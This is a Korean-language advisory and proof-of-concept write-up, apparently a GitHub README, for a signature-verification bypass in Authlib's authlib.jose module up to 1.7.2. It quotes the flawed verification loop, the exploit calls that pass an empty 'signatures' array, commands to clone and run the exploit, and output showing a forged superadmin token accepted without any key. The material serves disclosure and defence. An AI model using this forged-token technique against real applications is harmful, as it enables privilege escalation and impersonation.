
Authlib 1.7.2: 서명 검증 우회 - 일반 JSON JWS가 `signatures`가 비어 있을 때 서명되지 않은 페이로드를 허용함
Authlib의 authlib.jose 모듈에서 발생하는 서명 검증 우회에 대한 개념 증명(Proof-of-concept)입니다. JsonWebSignature.deserialize_json()은 빈 signatures 배열을 가진 General JSON JWS 객체를 받아들이고, 공격자가 제어하는 페이로드를 검증에 성공한 것으로 반환합니다. 키도 필요 없고, 서명도 확인하지 않습니다.
영향받음: Authlib ≤ 1.7.2, authlib.jose 모듈
영향받지 않음: compact JWT 경로(jwt.decode()). 이 버그는 JSON Serialization JWS API에 특화된 것입니다.
CWE: CWE-347 (암호화 서명의 부적절한 검증), CWE-670, CWE-358
상태: 1.7.x에서 패치되지 않음 - authlib.jose 모듈은 수정된 것이 아니라 Authlib 1.8에서 완전히 제거되었습니다. 1.8 미만으로 고정된 모든 배포는 여전히 노출되어 있습니다.
# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True # starts True
for header_obj in obj["signatures"]: # zero iterations when signatures = []
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv # attacker payload returned as verified
raise BadSignatureError(rv)
is_valid는 True로 초기화되며 루프 본문 내에서만 변경됩니다. signatures가 []일 때 루프는 0회 실행되고, 어떤 검증 로직도 실행되지 않으며, 함수는 성공을 반환합니다. 이는 전형적인 공허 진리(vacuous-truth) 결함입니다. 두 공개 진입점 모두 영향을 받습니다:
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
공격자가 제어하는 JSON JWS 입력을 deserialize_json() 또는 deserialize()를 통해 검증하는 모든 애플리케이션은 해당 입력에 대한 진본성/무결성 보장을 상실합니다:
sub, role, 세션 클레임 위조scope, tenant, permissions 클레임 조작git clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py
=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [
{
"protected": "eyJhbGciOiJIUzI1NiJ9",
"signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
}
]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:
=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
세 가지 사례는 결함을 정확히 분리해낸다. 잘못된 키를 사용한 실제 서명은 올바르게 거부되고, 올바른 키를 사용한 실제 서명은 올바르게 수락되며, 빈 서명 목록은 - 가장 거부되어야 할 사례임에도 - 조용히 수락된다.
authlib.jose 지원 중단(deprecation)을 이유로 종료 (수정 사항 발행 없음): 7월 30일authlib.jose는 Authlib 1.8에서 제거됨 (수정 사항으로 백포트되지 않음)uziii2208과 nguyenminhtuan28이 발견하고 보고했습니다.
이 PoC는 교육 및 방어 목적으로 공개됩니다 - 유지관리자, 보안 팀, 다운스트림 사용자가 문제를 이해하고 완화할 수 있도록 돕기 위해서입니다. 소유하지 않았거나 테스트에 대한 명시적 승인을 받지 않은 시스템에 대해서는 사용하지 마십시오.